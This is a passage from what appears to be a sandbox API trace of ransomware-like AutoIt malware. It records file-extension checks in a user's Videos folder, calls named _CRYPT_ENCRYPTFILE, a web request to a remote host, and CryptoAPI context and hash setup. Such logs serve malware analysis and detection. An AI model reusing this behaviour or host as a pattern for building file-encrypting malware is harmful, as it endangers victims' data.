lpString1="sers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="txbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Av.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.863] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.863] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.863] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.864] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.864] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.864] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.864] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.864] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.864] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c) returned 1 [0067.864] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.864] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.864] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.865] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.865] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.865] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.865] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.866] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.866] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.866] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.866] CloseHandle (hObject=0x0) returned 0 [0067.866] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.875] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0067.875] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0067.875] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.875] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.876] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.876] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.876] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.876] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.876] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.876] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.876] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.876] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.877] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.877] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.877] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.877] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9e78) returned 1 [0067.878] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.878] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.878] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.878] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.878] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.898] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.898] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.898] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.898] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.898] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.898] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.898] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.899] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.899] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.899] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.899] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.899] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.899] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.899] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.899] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.899] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.899] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.899] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.899] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.900] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621588, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.900] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.900] CryptCreateHash (in: hProv=0x17a9e78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.900] WideCharToMultiByte 